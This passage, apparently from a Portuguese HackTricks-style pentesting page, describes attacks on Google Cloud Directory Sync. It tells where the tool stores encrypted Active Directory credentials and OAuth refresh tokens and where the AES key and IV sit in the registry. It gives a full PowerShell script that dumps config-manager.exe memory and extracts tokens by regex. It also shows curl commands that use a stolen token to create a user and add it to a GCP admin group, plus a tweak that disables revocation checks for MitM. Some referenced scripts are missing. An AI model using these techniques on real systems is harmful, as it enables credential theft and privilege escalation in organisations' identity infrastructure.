Esta é uma ferramenta que pode ser usada para sincronizar seus usuários e grupos do Active Directory com seu Workspace (e não o contrário até o momento da escrita).
É interessante porque é uma ferramenta que exigirá as credenciais de um superusuário do Workspace e de um usuário privilegiado do AD. Portanto, pode ser possível encontrá-la dentro de um servidor de domínio que estaria sincronizando usuários de tempos em tempos.
Para realizar um MitM no binário config-manager.exe, basta adicionar a seguinte linha no arquivo config.manager.vmoptions: -Dcom.sun.net.ssl.checkRevocation=false
Note que Winpeas é capaz de detectar GCDS, obter informações sobre a configuração e até mesmo as senhas e credenciais criptografadas.
Além disso, note que o GCDS não sincronizará senhas do AD para o Workspace. Se algo, ele apenas gerará senhas aleatórias para usuários recém-criados no Workspace, como você pode ver na imagem a seguir:
GCDS - Tokens de Disco & Credenciais do AD
O binário config-manager.exe (o principal binário do GCDS com GUI) armazenará as credenciais do Active Directory configuradas, o token de atualização e o acesso por padrão em um arquivo xml na pasta C:\Program Files\Google Cloud Directory Sync em um arquivo chamado Untitled-1.xml por padrão. Embora também possa ser salvo na pasta Documents do usuário ou em qualquer outra pasta.
Além disso, o registro HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui dentro da chave open.recent contém os caminhos para todos os arquivos de configuração abertos recentemente (xmls). Portanto, é possível verificar isso para encontrá-los.
As informações mais interessantes dentro do arquivo seriam:
Note como o refreshtoken e a senha do usuário são criptografados usando AES CBC com uma chave e IV gerados aleatoriamente armazenados em HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util (onde quer que a biblioteca Java prefs armazene as preferências) nas chaves de string /Encryption/Policy/V2.iv e /Encryption/Policy/V2.key armazenadas em base64.
Script Powershell para descriptografar o refresh token e a senha
</details>
<div data-gb-custom-block data-tag="hint" data-style='info'>
Observe que é possível verificar essas informações checando o código java de **`DirSync.jar`** em **`C:\Program Files\Google Cloud Directory Sync`** procurando pela string `exportkeys` (já que esse é o parâmetro cli que o binário `upgrade-config.exe` espera para despejar as chaves).
</div>
Em vez de usar o script do powershell, também é possível usar o binário **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** com o parâmetro `-exportKeys` e obter a **Key** e **IV** do registro em hex e então apenas usar algum cyberchef com AES/CBC e essa chave e IV para descriptografar as informações.
### GCDS - Despejando tokens da memória
Assim como com GCPW, é possível despejar a memória do processo do `config-manager.exe` (é o nome do binário principal do GCDS com GUI) e você poderá encontrar tokens de refresh e de acesso (se já tiverem sido gerados).\
Acho que você também poderia encontrar as credenciais configuradas do AD.
<details>
<summary>Despejar processos config-manager.exe e buscar tokens</summary>
```powershell
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"
# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)
# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}
# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "config-manager" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id
# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}
# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {
$matches = Select-String -Path $file -Pattern $regex -AllMatches
$uniqueMatches = @{}
foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText = $matchInfo.Line.Trim()
FilePath = $matchInfo.Path
}
}
}
}
foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}
Write-Output ""
}
}
Remove-Item -Path $dumpFolder -Recurse -Force
GCDS - Gerando tokens de acesso a partir de tokens de atualização
Usando o token de atualização, é possível gerar tokens de acesso utilizando-o e o ID do cliente e o segredo do cliente especificados no seguinte comando:
Observe que mesmo tendo um token de atualização, não é possível solicitar nenhum escopo para o token de acesso, pois você só pode solicitar os escopos suportados pela aplicação onde você está gerando o token de acesso.
Além disso, o token de atualização não é válido em todas as aplicações.
Por padrão, o GCSD não terá acesso como o usuário a todos os possíveis escopos OAuth, então usando o seguinte script podemos encontrar os escopos que podem ser usados com o refresh_token para gerar um access_token:
#### Crie um usuário e adicione-o ao grupo `gcp-organization-admins` para tentar escalar no GCP
```bash
# Create new user
curl -X POST \
'https://admin.googleapis.com/admin/directory/v1/users' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"primaryEmail": "deleteme@domain.com",
"name": {
"givenName": "Delete",
"familyName": "Me"
},
"password": "P4ssw0rdStr0ng!",
"changePasswordAtNextLogin": false
}'
# Add to group
curl -X POST \
'https://admin.googleapis.com/admin/directory/v1/groups/gcp-organization-admins@domain.com/members' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"email": "deleteme@domain.com",
"role": "OWNER"
}'
# You could also change the password of a user for example
Não é possível dar ao novo usuário o papel de Super Amin porque o token de atualização não tem escopos suficientes para conceder os privilégios necessários.